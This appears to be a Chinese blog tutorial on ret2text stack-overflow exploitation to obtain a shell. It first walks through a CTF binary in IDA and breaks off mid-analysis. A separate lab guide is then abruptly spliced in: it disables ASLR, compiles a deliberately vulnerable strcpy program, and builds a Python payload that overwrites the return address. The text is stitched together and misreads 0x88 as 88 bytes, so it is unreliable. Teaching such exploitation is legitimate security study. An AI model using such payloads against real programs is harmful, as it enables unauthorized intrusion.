栈溢出至getshell分析及利用

请添加图片描述Ret2text(源程序中存在system及/bin/sh)
控制程序执行程序本身已有的的代码(.text)。栈溢出,存在system()函数以及”/bin/sh”字符串。通过溢出将返回地址修改为system函数的地址,再将/bin/sh作为函数的参数进行调用,如此便可以得到一个shell。其中32位程序和64位程序由于函数形参的存储调用存在差别,故利用方式也会不同。

32位程序
在32位的程序中,形参存储在栈上并且是按从右到左的顺序进行存放,形参结束后存储的是函数的返回地址,接着是函数的地址。

函数调用过程中栈帧的变化

在这里插入图片描述以下为栈溢出调用system函数过程中栈的变化。

在这里插入图片描述 其中call函数与直接用eip指向函数地址的区别
call函数的调用中存在两步,

  • 首先将后面的代码,即是下一条指令的地址入栈(保护现场)
  • 将调用函数的地址给到EIP执行
    从call函数的执行可以看出会自动的将下一指令的地址入栈以保持栈的平衡,call的函数执行完成后会能恢复,所以当直接将函数地址赋给EIP时就需要手动的入栈一个返回地址以维持栈的平衡。

64位程序:

由于在64位程序中六个参数依次保存在RDI,RSI,RDX,RCX,R8和 R9中,如果还有更多的参数的话才会保存在栈上。如下
在这里插入图片描述
通过以上流程即是可以通过寻找我们需要的指令地址及字符串地址进行利用链的构造最后成功getshell。这既是要求在上述情况中存在调用system函数的情况并且能够在其中找到字符串/bin/sh才能进行利用。

以下使用一个在程序作为例题进行分析

例题:
获取附件

使用checksec检查是否开启了保护在这里插入图片描述
发现是一个32位的程序,只开启了NX,即是栈不可执行

使用IDA32位进行分析在这里插入图片描述
使用shift+F12得到如上所示的页面

其中存在/bin/sh,但现在需要一个函数调用它才能执行命令

首先双击echo Hello World

在这里插入图片描述
使用ctrl+x查看引用的函数

在这里插入图片描述
使用F5进行反汇编在这里插入图片描述
发现存在vulnerable_function函数,双击进入在这里插入图片描述发现存在read函数可以利用

查看buf的长度,双击char buf进入buf变量的栈空间
在这里插入图片描述
发现buf的长度为0x88字节

加上ebp的长度4字节,(32位程序地址为32位,所占存储空间为4字节)

即是buf只用88字节,使用read函数输入的空间有100,超过了buf的长度,可造成栈溢出覆盖掉返回地址即可执行代码

因为前面存在了调用system函数,跳转到该函数,后面跟上该函数参数的地址即可

查看system的地址,回到主函数的汇编代码,此处使用call调用了一个system

地址为:0x0804849e

### Ubuntu 下简单栈溢出实验教程 #### 实验准备 为了完成一个简单的栈溢出实验,需要满足一些前提条件。由于现代操作系统默认启用了多种安全保护机制(如地址空间布局随机化 ASLR 和堆栈不可执行 NX),这些特性会阻止传统的栈溢出攻击方式。因此,在开始之前,需关闭这些防护措施。 可以通过以下命令禁用 ASLR: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` 此操作允许程序的内存布局保持固定位置[^3]。 #### 编写目标代码 编写一段存在缓冲区溢出漏洞的目标代码 `vulnerable.c`: ```c #include <stdio.h> #include <string.h> void get_shell() { printf("You got the shell!\n"); system("/bin/sh"); // 调用 system 函数启动 /bin/sh 来获取 shell [^2] } void vulnerable_function(char *str) { char buffer[64]; strcpy(buffer, str); // 存在缓冲区溢出风险 } int main(int argc, char **argv) { if (argc > 1) { vulnerable_function(argv[1]); } return 0; } ``` 编译该代码时,应禁用堆栈保护功能并启用调试信息以便于分析: ```bash gcc -fno-stack-protector -z execstack -g vulnerable.c -o vulnerable ``` 上述选项的作用如下: - `-fno-stack-protector`: 关闭 GCC 的堆栈保护器。 - `-z execstack`: 将堆栈标记为可执行区域。 - `-g`: 添加调试信息以方便后续逆向工程或动态调试。 #### 获取函数地址 通过反汇编工具查看二进制文件中的函数地址。可以使用 GDB 或者 objdump 工具来定位 `get_shell()` 函数的具体地址。 运行以下命令提取符号表信息: ```bash objdump -d ./vulnerable | grep get_shell ``` 假设输出显示 `get_shell` 地址为 `0x08048522`[^4]。 #### 构造恶意输入 利用 Python 或其他脚本语言生成特定长度的数据流,使其能够覆盖返回地址字段,并将其重定向到 `get_shell` 函数入口处。 下面是一个示例 Python 脚本来创建所需的 payload 数据包: ```python offset = b"A" * 76 # 填充至返回地址偏移量前的位置 return_address = b"\x22\x85\x04\x08" # 替换为目标函数的真实地址(小端序) payload = offset + return_address with open('exploit', 'wb') as f: f.write(payload) ``` 将生成好的 exploit 文件作为参数传递给易受攻击的应用程序即可触发漏洞: ```bash ./vulnerable $(cat exploit) ``` 如果一切正常,则应该可以看到提示消息以及交互式的 Shell 提供访问权限。 --- ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值